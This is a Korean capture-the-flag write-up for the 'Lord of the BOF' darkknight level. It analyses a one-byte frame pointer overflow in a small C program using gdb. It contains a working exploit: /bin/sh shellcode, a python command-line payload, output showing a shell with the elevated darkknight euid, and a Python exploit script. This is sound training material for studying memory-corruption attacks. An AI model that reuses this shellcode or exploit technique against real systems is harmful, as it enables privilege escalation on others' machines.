[LOB]Level12. darkknight

 

SFP

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/
#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
	if(argc<2){
		printf("argv error\n");
		exit(0);
	}

	problem_child(argv[1]);
}

0x01. Analysis

problem_child 함수를 보면 41바이트만 복사하게 된다.

힌트에 나왔듯이 SFP주소에 1바이트만 Overflow 시킬수 있는 공격이 FPO(Frame Pointer Overflow) 공격이다.

SPF의 1바이트를 변경시키면 근처 스택 주소로 SFP를 변조 시킬 수 있다.

실제 올라가게 되는 problem_child의 buffer배열 주소를 구해보자.

[golem@localhost golem]$ ./aarkknight `python -c 'print "A"*4+"S"*36+"\x80"'`
AAAASSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS€?퓹? ♠?왠?옹   ♥@☻
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -c core
Core was generated by `./aarkknight AAAASSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS€'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/32x $esp-4
0xbffffc84:     0x41414141      0x53535353      0x53535353      0x53535353
0xbffffc94:     0x53535353      0x53535353      0x53535353      0x53535353
0xbffffca4:     0x53535353      0x53535353      0xbffffc80      0x0804849e
0xbffffcb4:     0xbffffe06      0xbffffcd8      0x400309cb      0x00000002
0xbffffcc4:     0xbffffd04      0xbffffd10      0x40013868      0x00000002
0xbffffcd4:     0x08048390      0x00000000      0x080483b1      0x0804846c
0xbffffce4:     0x00000002      0xbffffd04      0x080482e4      0x080484dc
0xbffffcf4:     0x4000ae60      0xbffffcfc      0x40013e90      0x00000002

problem_child의 buffer배열의 시작주소는 0xbffffc84로 확인되고 있다.

이제 우리는 problem_child함수의 sfp 1byte를 바꿀수 있는 것을 이용하여 공격을 해야한다.

여기서 스택주소로 변경시킬 때 중요한 점은 SFP에 [원하는 주소-4] 주소를 넣어야 된다는 점이다.

그 이유는 함수가 끝날 때, leave - ret 순서로 종료하게 되게 때문이다.

leave 명령어는 mov esp, ebp, pop ebp 순으로 진행되고,

ret 명령어는 pop eip, jmp eip 순으로 진행된다.

자세한 내용 설명은 맨 하단으로~

그리고 problem_child의 buffer배열의 시작부분에 shellcode가 실행될 주소를 넣어주면 된다.

LOB Darkknight문제를 이용한 SFP Overflow 설명


&[buffer - 4] : 0xbffffc80

&[buffer + 4] : 0xbffffc88

0x02. Exploit

shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
[golem@localhost golem]$ ./darkknight `python -c 'print "\x88\xfc\xff\xbf"+"\x90"*12+"\x31\xc0\x50\x68\x2f\x2f\x73\x 68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x80"'`
덡퓧릱릱릱릱릱?픐h//shh/bin됥PS됣솻
                                     ?€?퓹?  ♠?왠?옹    ♥@☻
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker

import os
import struct

append = lambda x: payload + x
p8 = lambda x: struct.pack("<B", x)
p32 = lambda x: struct.pack("<I", x)

target = "/home/golem/darkknight"

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer_addr = 0xbffffc84
last_sfp = 0x84 - 4

payload = p32(buffer_addr + 4)
payload = append("\x90"*(40-4-len(shellcode)))
payload = append(shellcode)
payload = append(p8(last_sfp))

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)